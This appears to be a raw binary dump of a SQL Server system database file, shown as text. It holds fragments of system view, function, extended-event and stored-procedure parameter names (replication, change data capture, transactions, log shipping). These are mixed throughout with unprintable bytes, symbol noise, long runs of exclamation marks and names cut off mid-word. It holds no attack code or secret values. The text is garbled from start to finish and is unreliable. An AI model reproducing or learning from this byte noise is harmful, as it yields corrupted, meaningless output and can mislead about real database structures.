=e"JA2n&y4dm_qn_subscriptions&Y:dm_server_audit_status&]G:dm_tcp_listener_states&46Ddm_tran_active_transactions&P|Hdm_tran_database_transactions&4endpoint_webmethods& endpoints&c4event_notifications&˿wFEventNotificationErrorsQueue&bevents&|4extended_procedures&?4extended_properties&K"filegroups&u\{Lfilestream_tombstone_2073058421&Nfiletable_system_defined_objects&x}Ffiletable_updates_2105058535&"filetables&~V`:fn_builtin_permissions&kWBfn_check_object_signatures&c*dm_xe_packages&
(dm_xe_objects&Y6dm_xe_object_columns&`n*dm_xe_sessions&Be6dm_xe_session_events&Ddm_xe_session_event_actions&C8dm_xe_session_targets&U-Fdm_xe_session_object_columns&*W.dm_xe_map_values&IRdm_resource_governor_configuration&Vdm_resource_governor_workload_groups&Tdm_resource_governor_resource_pools&+Zddm_resource_governor_resource_pool_affinity&"Vhdm_tran_active_snapshot_database_transactions&)>dm_tran_current_snapshot&Ddm_tran_current_transaction&V`1(dm_tran_locks&_6Hdm_tran_transactions_snapshot&v8dm_tran_version_store&Jdm_tran_top_version_generators&36dm_tran_commit_table&
fn_dblog&1(fn_dump_dblog&
Ddm_sql_referencing_entities&EBdm_sql_referenced_entities&SJevent_notification_event_types&Fdm_tran_session_transactions&M:dm_server_memory_dumps&T2dm_server_registry&2dm_server_services&NDOMAINS&A2DOMAIN_CONSTRAINTS&
36fn_cdc_increment_lsn&eN6fn_cdc_decrement_lsn&1\0fn_cdc_is_bit_set&iS	>fn_EnumCurrentPrincipals&>fn_escapecmdshellsymbols&nbJfn_convertnumericlsntobinary10&xT2fn_cColvEntries_80&E1\4fn_chariswhitespace&&0fn_datediff_units&z6fn_add_units_to_date&8fn_convert_to_seconds&vZBfn_basecolsofcomputedpkcol&o.dm_repl_articles&,dm_repl_schemas&~.dm_repl_tranhash&.dm_repl_traninfo&Hfn_activedistributionagentids&_6fn_cdc_is_db_enabled&q<fn_cdc_is_table_enabled&
?8fn_cdc_dropped_tables&Lo8fn_cdc_index_required&Bfn_cdc_constraint_required&@9U:fn_cdc_trim_whitespace&a7:fn_cdc_get_column_list&0fn_cdc_get_source&,fn_cdc_get_role&
p.fn_cdc_get_jobid&$fn_cdc_jobs&ܻ.fn_cdc_job_entry&0Hfn_cdc_db_name_from_job_entry&6fn_cdc_get_start_lsn&\2fn_cdc_hexstrtobin&<fn_cdc_db_objects_exist&nHfn_cdc_compute_low_water_mark&o2fn_cdc_format_type&<fn_cdc_next_right_quote&>fn_cdc_capture_instances&VJfn_cdc_capture_instance_exists&a<fn_cdc_check_parameters&q[Jfn_cdc_all_changes_range_error&ƲJfn_cdc_net_changes_range_error&7>fn_cdc_has_select_access&f^Rfn_cdc_get_column_ordinal_internal&B#@fn_cdc_get_column_ordinal&##8fn_cdc_is_range_valid&mW2fn_cdc_get_min_lsn&N2fn_cdc_get_max_lsn&j:fn_cdc_map_lsn_to_time&
?:fn_cdc_map_time_to_lsn&O@fn_cdc_has_column_changedn_MSrepl_checktype& P2fn_helpdatatypemap&:Hfn_MSrepl_getdatatypemappings&.fn_ORAsourceinfo&tji0fn_ORAgetbasetype&>6fn_MSrepl_sourcetype&42fn_IHgettypestring&	Zfn_getpersistedservernamecasevariation&
><fn_MSconstraint_columns&L=8fn_MSrepl_ispublished&
Jfn_MSrepl_is_workgroup_edition&9BN@fn_MSrepl_istranpublished&=l{Bfn_MSrepl_ismergepublished&3`2fn_MSrepl_isdistdb&'Dfn_ORAenumarticlecolumninfo&4fn_MSrepl_editionid&*M?*fn_isxmlcolumn&!E(fn_IHgetpubid&2fn_MSrepl_getpubid&!<fn_IHGenerateUniqueName&vZBfn_basecolsofcomputedpkcol&,fn_ispkcomputed&:fn_MSis_col_replicated&F @fn_MSrepltranparsecmdtype&2<fn_fcomputedpkimprecise&o4fn_ftableivprocexec&~K.fn_gettypestring&9>4fn_MSrepl_dependUDT&6fn_MStran_foreignkey&8.fn_MStran_unique&bLfn_IHPublicationIsTransactional&o.dm_repl_articles&,dm_repl_schemas&~.dm_repl_tranhash&.dm_repl_traninfo&Hfn_activedistributionagentids&_6fn_cdc		
.
DB
f*
xT2dhd.L0Zx
|tR|b
6l.	N	
Lb$	
X
d*X\F`	6B;)F׸o|9C4X$Z
<]
ZR`
f
|
u\{
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!o~`'
t6TC;wHf0'997clst0'::7clst0'::5nc10';;9clust0'<<7clst0'>>9clust0'??9clust0'@@7clst0'@@3nc0'@ a_WA_Sys_00000002_000000400'AA9clust0'CC7clst0'CC5nc10'CC5nc20'DD7clst0'EE7clst0'EE5nc10'EE5nc20'GG7clst0'HH3cl0'II3cl0'JJ7clst0'JJ5nc10'KK7clst0'KK5nc10'NN3cl0'NN3nc0'OO7clst0'PP3cl0'RR7clst0'TT3cl0'UU7clst0'VV7clst0'VV=nonclst0'VVAnonclstgi0'WW7clst0'YY7clst0'YY5nc10'ZZ7clst0'ZZ5nc10'[[3cl0'[[5nc10'\\3cl0']]3cl0']]5nc10'^^3cl0'__3cl0'__5nc10'__5nc30'``7clst0'``5nc10'``5nc20'aa7clst0'aa5nc10'bb7clst0'bb5nc10'Xv
Yqueue_clustered_index0'XvYqueue_secondary_index0'xYqueue_clustered_index0'x
Yqueue_secondary_index0'<8zYqueue_clustered_index0'<8zYqueue_secondary_index0'u\{EFSTSClusIdx0'u\{AFSTSNCIdx0'J a_WA_Sys_00000003_0000004A0'J a_WA_Sys_00000001_0000004A0'Xv@?priority0'Xv@Iqueuing_order0'Xv@Yconversation_group_id0'Xv@Uconversation_handle0'Xv@]message_sequence_number0'Xv@Cmessage_id0'Xv	@Mmessage_type_id0'Xv
@Cservice_id0'Xv@Uservice_contract_id0'Xv@Cvalidation0'Xv
@Inext_fragment0'Xv@Ifragment_size0'Xv@Mfragment_bitmap0'Xv@Ubinary_message_body0'Xv@Wmessage_enqueue_time0'x@?priority0'x@Iqueuing_order0'x@Yconversation_group_id0'x@Uconversation_handle0'x@]message_sequence_number0'x@Cmessage_id0'x	@Mmessage_type_id0'x
@Cservice_id0'x@Uservice_contract_id0'x@Cvalidation0'x
@Inext_fragment0'x@Ifragment_size0'x@Mfragment_bitmap0'x@Ubinary_message_body0'x@Wmessage_enqueue_time0'<8z@?priority0'<8z@Iqueuing_order0'<8z@Yconversation_group_id0'<8z@Uconversation_handle0'<8z@]message_sequence_number0'<8z@Cmessage_id0'<8z	@Mmessage_type_id0'<8z
@Cservice_id0'<8z@Uservice_contract_id0'<8z@Cvalidation0'<8z
@Inext_fragment0'<8z@Ifragment_size0'<8z@Mfragment_bitmap0'<8z@Ubinary_message_body0'<8z@Wmessage_enqueue_time0'u\{@Ioplsn_bOffset0'u\{@Goplsn_slotid0'u\{@Erowset_guid0'u\{@Ecolumn_guid0'u\{@Yfilestream_value_nameErowset_guid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~k&QnX.[P
q=bu ~?c

FqI>X#K

u
B

		t	?		k4Ht=
kU6b-U Os<`GQ\i
D?0!3sqlserverattention0:!5sqlserverauto_stats0|!Gsqlserverbroker_conversation0N!9sqlservercursor_close0J!=sqlservercursor_execute0L!Usqlservercursor_implicit_conversion05!7sqlservercursor_open0F!=sqlservercursor_prepare0K!Asqlservercursor_recompile0M!Asqlservercursor_unprepare0\!Ssqlserverdatabase_file_size_change0^!Ssqlserverdatabase_file_size_change0!Ksqlserverdegree_of_parallelism0}!Qsqlserverdeprecation_announcement0!?sqlserverdtc_transaction0!Asqlservererrorlog_written0!=sqlservererror_reported0!Usqlosexception_ring_buffer_recorded0H!Csqlserverexec_prepared_sql0C!Csqlserverexecution_warning0!Gsqlserverexisting_connection07!9sqlserverhash_warning0!;sqlserverlock_acquired0!7sqlserverlock_cancel0!;sqlserverlock_deadlock0;!Gsqlserverlock_deadlock_chain0<!?sqlserverlock_escalation0!;sqlserverlock_released0!9sqlserverlock_timeout0]!Ssqlserverdatabase_file_size_change0_!Ssqlserverdatabase_file_size_change0O!Ssqlservermissing_column_statistics0P!Msqlservermissing_join_predicate0.!=sqlserverobject_created0/!=sqlserverobject_deleted0w!5sqlserveroledb_call0y!?sqlserveroledb_data_read0=!7sqlserveroledb_error0x!Ksqlserveroledb_query_interface0G!7sqlserverprepare_sql0d!;sqlserverrpc_completed0
!;sqlserverrpc_completed0!9sqlserverrpc_starting03!9sqlserverscan_started04!9sqlserverscan_stopped0!+sqlserverlogin0!-sqlserverlogout0Q!Isqlserverserver_memory_change0!Csqlserverserver_start_stop0a!Ysqlserverquery_pre_execution_showplan0D!Ysqlserverquery_pre_execution_showplan0`!Ysqlserverquery_pre_execution_showplan0z!Ysqlserverquery_pre_execution_showplan0b![sqlserverquery_post_execution_showplan0E!9sqlserversort_warning0#!?sqlserversp_cache_insert0"!;sqlserversp_cache_miss0$!?sqlserversp_cache_remove0&!9sqlserversp_cache_hit0+!5sqlservermodule_end0*!9sqlservermodule_start0-!Msqlserversp_statement_completed0,!Ksqlserversp_statement_starting0!Gsqlserversql_batch_completed0
!Esqlserversql_batch_starting0%!Osqlserversql_statement_recompile0)!Osqlserversql_statement_completed0(!Msqlserversql_statement_starting02!?sqlserversql_transaction06!?sqlservertransaction_log0I!;sqlserverunprepare_sql0R!5sqlserveruser_event0S!5sqlserveruser_event0T!5sqlserveruser_event0U!5sqlserveruser_event0V!5sqlserveruser_event0W!5sqlserveruser_event0X!5sqlserveruser_event0Y!5sqlserveruser_event0Z!5sqlserveruser_event0[!5sqlserveruser_eventerverplan_guide_successful0!Osqlserverplan_guide_unsuccessful0!Isqlserverpreconnect_completed0!Gsqlserverpreconnect_starting0G!7sqlserverprepare_sql0!msqlserverprogress_report_online_index_operation0!Msqlserverpromote_tran_completed0!Ksqlserverpromote_tran_starting0!7sqlserverqn_template0!7sqlserverqn_dynamics0!Esqlserverqn_parameter_table0!?sqlserverqn_subscription0!Osqlserverrollback_tran_completed0!Msqlserverrollback_tran_starting0d!;sqlserverrpc_completed0
!;sqlserverrpc_completed0!9sqlserverrpc_starting0!Gsqlserversave_tran_completed0!Esqlserversave_tran_starting03!9sqlserverscan_started04!9sqlserverscan_stopped0!+sqlserverlogin0!-sqlserverlogout0Q!Isqlserverserver_memory_change0!Csqlserverserver_start_stop0a!Ysqlserverquery_pre_execution_showplan0D!Ysqlserverquery_pre_execution_showplan0`!Ysqlserverquery_pre_execution_showplan0z!Ysqlserverquery_pre_execution_showplan0!_sqlserverquery_post_compilation_showplan0!_sqlserverquery_post_compilation_showplan0![sqlserverquery_post_execution_showplan0b![sqlserverquery_post_execution_showplan0E!9sqlserversort_warning0#!?sqlserversp_cache_insert0"!;sqlserversp_cache_miss0$!?sqlserversp_cache_remove0&!9sqlserversp_cach
	<
	
'u
$#V!M7wNH$

g
im*T		ht?5ve*]Q`
4

Z\E
^DFG8!!!!`	\@F
sTD&~G!Ssqlserverdeprecation_final_support!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!i`D9\
G)RR0~!Ssqlserverdeprecation_final_support0!=sqlserverexchange_spill0!Ssqlserverbroker_conversation_group0!Msqlserverblocked_process_report0=ucsucs_connection_setup0![sqlserverbroker_forwarded_message_sent0!asqlserverbroker_forwarded_message_dropped0!Osqlserverbroker_message_classify0![sqlserverbroker_transmission_exception0!Ksqlserverbroker_queue_disabled0!gsqlserverbroker_mirrored_route_state_changed0![sqlserverquery_post_execution_showplan0!Gsqlserverxml_deadlock_report0!ksqlserverbroker_remote_message_acknowledgement0=ucsucs_connection_setup0!Osqlserverfull_text_crawl_started0!Osqlserverfull_text_crawl_stopped0!=sqlservererror_reported0!Ysqlserverbroker_message_undeliverable0!Qsqlserverbroker_corrupted_message0!=sqlservererror_reported0!Csqlserverbroker_activation0!=sqlserverobject_altered0!_sqlserverdatabase_mirroring_state_change0!_sqlserverquery_post_compilation_showplan0!_sqlserverquery_post_compilation_showplan0!Gsqlserverbegin_tran_starting0!Isqlserverbegin_tran_completed0!Ksqlserverpromote_tran_starting0!Msqlserverpromote_tran_completed0!Isqlservercommit_tran_starting0!Ksqlservercommit_tran_completed0!Msqlserverrollback_tran_starting0!Osqlserverrollback_tran_completed0!Wsqlserverlock_timeout_greater_than_00!msqlserverprogress_report_online_index_operation0!Esqlserversave_tran_starting0!Gsqlserversave_tran_completed0!Isqlserverbackground_job_error0!Usqlserveroledb_provider_information0!;sqlserverassembly_load0!?sqlserverqn_subscription0!Esqlserverqn_parameter_table0!7sqlserverqn_template0!7sqlserverqn_dynamics0!Osqlserverbitmap_disabled_warning0!Usqlserverdatabase_suspect_data_page0!Msqlservercpu_threshold_exceeded0!Gsqlserverpreconnect_starting0!Isqlserverpreconnect_completed0!Ksqlserverplan_guide_successful0!Osqlserverplan_guide_unsuccessful0!Osqlserversql_statement_recompile0![sqlserveruncached_sql_batch_statistics0!Ysqlserverquery_pre_execution_showplan0!]sqlserverquery_cache_removal_statistics0!Esqlserverxquery_static_type!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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HC.-&b0-&bE@tabname0-&bA@quote0-=x?docid0-=x88
?score0-=x88
G@clauseno0-88
Isession_id0-Qtransaction_id0-atransaction_descriptor0-88
Menlist_count0-hh[is_user_transaction0-hhEis_local0-hhKis_enlisted0-hhEis_bound0-	88
aopen_transaction_count0-Sp=name0-Sp@@Exml_data0-SphhGis_active0-SpMhost_address0-Sp88
Mprincipal_id0-Sp88
Kdatabase_id0-<=name0-<88
Gobject_id0-<88
Gschema_id0-<44Uprocedure_number0-<=type0-<==Kcreate_date0-م
Y@subscription_type0-مQ@subscriber_db0-e$$A@pubid0-e$$A@artid0-ehh_@propagate_ddl_change0-mgG@rolename0-mgK@membername0-֕A@login0-֕G@password0-֕hhQ@security_mode0-II@publisher0-IhhI@no_checks0-Ihh[@ignore_distributor0-g
K@xact_seqno0-puI@publisher0-puA@owner0-puI@tablename0-,m88
A@artid0-,m00Q@publishertype0-,mI@publisher0-oM@publication0-o88
U@tracer_token_id0-oI@publisher0-oS@publisher_type0-sI@publisher0-sS@publisher_type0-;YsI@publisher0-;YsO@publisher_db0-;YsM@publication0-;YsE@article0-;YsK@subscriber0-;YsS@destination_db0-;Ys
U@subscriptionlsn0-;Ys00I@lsnsource0-;Ys	88
i@originator_publication_id0-;Ys
88
a@originator_db_version0-;Ys_@originator_meta_data0-;Ys]@nosync_setup_script0-;Ys

S@next_valid_lsn-70-C@vector0-88
I@tablenickCpool_id0-ҁx4x=type0-ҁ4=name0-ҁamax_free_entries_count0-ҁYfree_entries_count0-ҁkremoved_in_all_rounds_count0-Wappdomain_address0-88
Mappdomain_id0-4Qappdomain_name0-==Ocreation_time0-88
?db_id0-88
Cuser_id0-4?state0-88
Sstrong_refcount0-	88
Oweak_refcount0-
88
=cost0-88
?value0-88
[compatibility_level0-
ctotal_processor_time_ms0-gtotal_allocated_memory_kb0-Ysurvived_memory_kb0-V@C@handle0-V44=dbid0-V88
Eobjectid0-V44Anumber0-VhhGencrypted0-V4@=text0-88
Isession_id0-Qtransaction_id0-atransaction_descriptor0-88
Menlist_count0-hh[is_user_transaction0-hhEis_local0-hhKis_enlisted0-hhEis_bound0-	88
aopen_transaction_count0J
i
(
4
t17	.cT$v%dV9n%P'6Y
~7
M

		`
-;8)I(/E0-
88
Idata_pages0-L%88
Mprincipal_id0-L%UU;sid0-L%=name0-L%=type0-L%?usage0-	044Isession_id0-	0==Ilogin_time0-	04Ghost_name0-	04Mprogram_name0-	088
Shost_process_id0-	088
Qclient_version0-	0@4@_client_interface_name0-	0UUKsecurity_id0-	0	4Ilogin_name0-	0
4Gnt_domain0-	04Mnt_user_name0-	0<4<Astatus0-	0
Mcontext_info0-	088
Ecpu_time0-	088
Mmemory_usage0-	088
]total_scheduled_time0-	088
Ytotal_elapsed_time0-	088
Kendpoint_id0-	0==clast_request_start_time0-	0==_last_request_end_time0-	0?reads0-	0Awrites0-	0Ological_reads0-	0hhSis_user_process0-	088
Gtext_size0-	04Elanguage0-	04Kdate_format0-	044Idate_first0-	0hhWquoted_identifier0-	0hhIarithabort0-	0hhWansi_null_dflt_on0-	0 hhOansi_defaults0-	0!hhOansi_warnings0-	0"hhMansi_padding0-	0#hhIansi_nulls0-	0$hhcconcat_null_yields_null0-	0%44ktransaction_isolation_level0-	0&88
Mlock_timeout0-	0'88
Wdeadlock_priority0-	0(Grow_count0-	0)88
Iprev_error0-	0*UU]original_security_id0-	0+4[original_login_name0-	0,==_last_successful_logon0-	0-==clast_unsuccessful_logon0-M@server_name0-O@catalog_name0-$I@publisher0-$O@publisher_db0-$M@publicationED

Y
BW
`

		@	]\[|;^c|3n1;T`$-%)JE2O)0-)tE@defname0-)tE@objname0-)tK@futureonly0-}#|C@action0-88
Q@update_period0-ˢ88
K@mapping_id0-ˢM@source_dbms0-ˢS@source_version0-ˢM@source_type0-ˢY@source_length_min0-ˢY@source_length_max0-ˢ_@source_precision_min0-ˢ_@source_precision_max0-ˢ	88
W@source_scale_min0-ˢ
88
W@source_scale_max0-ˢhhU@source_nullable0-ˢW@destination_dbms0-ˢ
]@destination_version0-ˢW@destination_type0-ˢ[@destination_length0-ˢa@destination_precision0-ˢ88
Y@destination_scale0-ˢhh_@destination_nullable0-_WtI@publisher0-_WtS@packageversion0-ɲQ@source_schema0-ɲM@source_name0-ɲK@index_name0-cM@publication0-cX_@qualified_table_name0-$$A@pubid0-$$A@artid0-=@bm10-=@bm20-A@bmout0-
I@tablename0-K@index_name 

a;(tqZa-	e
$
	x	x5<`-M)K>
9i0-
88
_current_workers_count0-88
]active_workers_count0-Uwork_queue_count0-88
_pending_disk_io_count0-88
Kload_factor0-88
Kyield_count0-[last_timer_activity0-hhcfailed_to_create_worker0-_active_worker_address0-_memory_object_address0-itask_memory_object_address0-Wquantum_length_us0-88
Iis_enabled0-4=path0-88
Emax_size0-88
Gmax_files0-D88
Kpdw_node_id0-D@@=type0-D@@=name0-D@@Caddress0-DhhIis_passive0-ў4OTABLE_CATALOG0-ў4MTABLE_SCHEMA0-ў4ITABLE_NAME0-K@table_name0-M@table_owner0-U@table_qualifier0-G@col_type0-A@scope0-G@nullable0-88
E@ODBCVer0-ͲK@table_name0-ͲO@table_schema0-288
A@tabid0-288
A@colid0-2E@colname0-2@K@typestring0-$$A@pubid0-88
I@new_level0-\I@publisher0-\S@publisher_type0-\88
O@publisher_id0-\M@distributor0-\I@distribdb0-\@I@rpcheader0-\hhI@hreplOnly0-\hhY@skipSecurityCheck0-I@publisher0-M@publication0-E@article0-hhG@defaults0-M@publication0-E@article0-hh[@ignore_distributor0-hhi@force_invalidate_snapshot0-I@publisher0-hha@from_drop_publication0-ӹ88
O@publisher_id0-ӹO@publisher_db0-ӹM@publication0-ӹhhA@reset-
0-W@capture_instance0-C@spname0-M@publication0-E@article0-ll&G@max_used0-
$$E@rowguid0-
88
I@tablenick0-
00Q@metadata_type0-
7M@lineage_old0-
K@generation0-
7M@lineage_new0-
$$A@pubid0-
88
M@rowsdeleted0-
	88
M@compatlevel0-

hhg@allarticlesareupdateableU@allow_anonymous0-N^
U@allow_sync_tran0-N^
[@autogen_sync_procs0-N^88
I@retention0-N^
Y@allow_queued_tran0-N^
i@snapshot_in_defaultfolder0-N^]@alt_snapshot_folder0-N^]@pre_snapshot_script0-N^_@post_snapshot_script0-N^
Y@compress_snapshot0-N^M@ftp_address0-N^88
G@ftp_port0-N^W@ftp_subdirectory0-N^I@ftp_login0-N^O@ftp_password0-N^
I@allow_dts0-N^
e@allow_subscription_copy0-N^U@conflict_policy0-N^
a@centralized_conflicts0-N^ 88
[@conflict_retention0-N^!K@queue_type0-N^"e@add_to_active_directory0-N^#[@logreader_job_name0-Ty<8L

MC^
m(h#4

Y

j!NAc	_		56
	K$fq`-Z)0Lc-Aɽ0-NN88
Kdatabase_id0-NN88
Gobject_id0-NN=type0-NNxxGtype_desc0-NN@@Isql_handle0-NN@@Kplan_handle0-NN==Kcached_time0-NN==[last_execution_time0-NN	Sexecution_count0-NN
Wtotal_worker_time0-NNUlast_worker_time0-NNSmin_worker_time0-NN
Smax_worker_time0-NN]total_physical_reads0-NN[last_physical_reads0-NNYmin_physical_reads0-NNYmax_physical_reads0-NN]total_logical_writes0-NN[last_logical_writes0-NNYmin_logical_writes0-NNYmax_logical_writes0-NN[total_logical_reads0-NNYlast_logical_reads0-NNWmin_logical_reads0-NNWmax_logical_reads0-NNYtotal_elapsed_time0-NNWlast_elapsed_time0-NNUmin_elapsed_time0-NNUmax_elapsed_time0-j$$Ireplica_id0-j$$Wgroup_database_id0-j4Odatabase_name0-jhhWis_failover_ready0-jhhmis_pending_secondary_suspend0-jhhYis_database_joined0-jll

Mrecovery_lsn0-jll

Qtruncation_lsn0-!nK@table_name0-!nM@table_owner0-!nU@table_qualifier0-bO@program_name0-bU@constraint_name0-bQ@parent_schema0-bM@parent_name0-(fhhG@is_biton0-7rM@distributor0-7r88
[@heartbeat_interval0-7rG@password0-7rhhS@from_scripting0-9O88
A@pubid0-9O88
A@artid0-9O88
G@syncstat0-9O
K@xact_seqno0-]88
A@artid0-]88
A@tabid0-]88
A@colid0-]?@type0-]hhC@status0-xM@publication0-x88
U@tracer_token_id0-xI@publisher0-ב88
K@request_id0-בM@publication0-בU@originator_node0-בO@orginator_db0-בC@cmdtxt0-XI@publisher0-XO@publisher_db0-XM@publication0-XE@article0-X88
K@article_id0-X[@destination_object0-XQ@source_object0-XM@description0-X	O@source_owner0-X
Y@destination_owner0-XG@internal0-I@publisher0-O@publisher_db0-M@publication0-88
C@topNum0-hhY@exclude_anonymous-<o88
0-<o==I@repl_date0-<o88
U@komodo_duration0-<ohhE@as_time0-.OI@publisher0-.OO@publisher_db0-#I@EventData0-#hhS@ddl_authorizedM@publication0-4E@article0-488
A@objid0-4hhK@queued_pub0-xM@publication0-x88
U@tracer_token_id0-xI@publisher0-ב88
K@request_id0-בM@publication0-בU@originator_node0-בLgx#>+

.
	 x+4S
BRb'
q 
|
][GE	;	4)wf
UZU
v/`-K%)MNL*
/0-nK@name_in_db0-O388
Gobject_id0-O3gfulltext_index_page_count0-O3ikeyphrase_index_page_count0-O3ksimilarity_index_page_count0-N88
A@tabid0-N
K@trigger_op0-NhhO@fonpublisher0->G@srv_orig0->E@db_orig0->88
W@keep_replication0->hhU@perform_upgrade0->U@recoveryforklsn0-TM@publication0-TK@table_name0-TM@table_owner0-iG@database0-iW@backup_directory0-iO@backup_share0-iU@backup_job_name0-i88
e@backup_retention_period0-iS@monitor_server0-ihho@monitor_server_security_mode0-i_@monitor_server_login0-i	e@monitor_server_password0-i
88
W@backup_threshold0-i88
U@threshold_alert0-ihhe@threshold_alert_enabled0-i
88
g@history_retention_period0-i$$Q@backup_job_id0-i$$K@primary_id0-ihhI@overwrite0-ihh]@ignoreremotemonitor0-i00[@backup_compression0-M@publication0-88
O@partition_id0-hhO@deletefolderOcounter_value0-I**Ulast_update_time0-L^88
Egroup_id0-L^Igroup_name0-=name0-88
Gobject_id0-88
Gschema_id0-44Uprocedure_number0-=type0-==Kcreate_date0-4/O@table_schema0-4/K@table_type0-0M@object_name0-0Q@object_schema-τ\88
0-τ\@C@string0-4X88
?colid0-4X E@columns0-WiIparameters0-WiGarguments0-Wi88
;Hid0-WiE@command0-tWG@filename0-tWhhC@exists0-7?@name0-7Q@parametername0-7G@procname0-7hhM@raise_error-Fu88
0-FuE@bitmask0-Fu88
A@colid0-c
$$E@srcguid0-c
G@replnick0-c
88
M@compatlevel0-N88
A@tabid0-N
K@trigger_op0-NhhO@fonpublisher0-I@sub_table0-U@sub_table_owner0-I@publisher0-O@publisher_db0-M@publication0-G@ins_proc0-G@upd_proc0-G@del_proc0-	E@cftproc0-
K@proc_owner0-O@identity_col0-C@ts_col0-
@Q@filter_clause0-[@primary_key_bitmap0-hhW@identity_support0-hhY@independent_agent0-88
K@pubversion0-G@ins_trig0-G@upd_trig0-G@del_trig0-hhA@alter0-hhI@dump_cmds0-G88
E@ver_old0-G88
Q@ver_retention0->G@srv_orig0->E@db_orig0->88
W@keep_replication0->hhU@perform_upgrade0->U@recoveryforklsn0-TM@publicX	@Oa
p

	S	Bt!gzn-Y-`-*)?NIo 0-e88
a@partition_function_id0-eY@sample_table_name0-eO@dummy_column0-e	hhW@include_computed0-e
>>5S@sample_percent0-88
Qtotal_sessions0-88
Oidle_sessions0-88
Sactive_requests0-88
Squeued_requests0-88
Mactive_loads0-88
Mqueued_loads0-88
Qactive_backups0-88
Sactive_restores0-+3M@publication0-+3E@article0-ygM@publication0-ygg@dynamic_snapshot_jobname0-yg$$c@dynamic_snapshot_jobid0-yghh[@ignore_distributor140-KK@filename150-KK@filename160-LSUoio_completion_request_address0-LSUx4xCio_type0-LSU[io_pending_ms_ticks0-LSU88
Iio_pending0-LSUoio_completion_routine_address0-LSU]io_user_data_address0-LSUWscheduler_address0-LSUGio_handle0-LSU	Gio_offset0-lo2E@devname0-Pn88
G@newvalue0-"B4Kmember_name0-"B4Wnetwork_subnet_ip0-"BZ4Zenetwork_subnet_ipv4_mask0-"B88
mnetwork_subnet_prefix_length0-"BhhGis_public0-"BhhCis_ipv40-E
?@name0-ExY@referencing_class0-E88
]referencing_minor_id0-Eareferenced_server_name0-Eereferenced_database_name0-Eareferenced_schema_name0-Eareferenced_entity_name0-E_referenced_minor_name0-E88
Oreferenced_id0-E88
[referenced_minor_id0-E	00Ureferenced_class0-E
xx_referenced_class_desc0-Ehh[is_caller_dependent0-EhhMis_ambiguous0-E
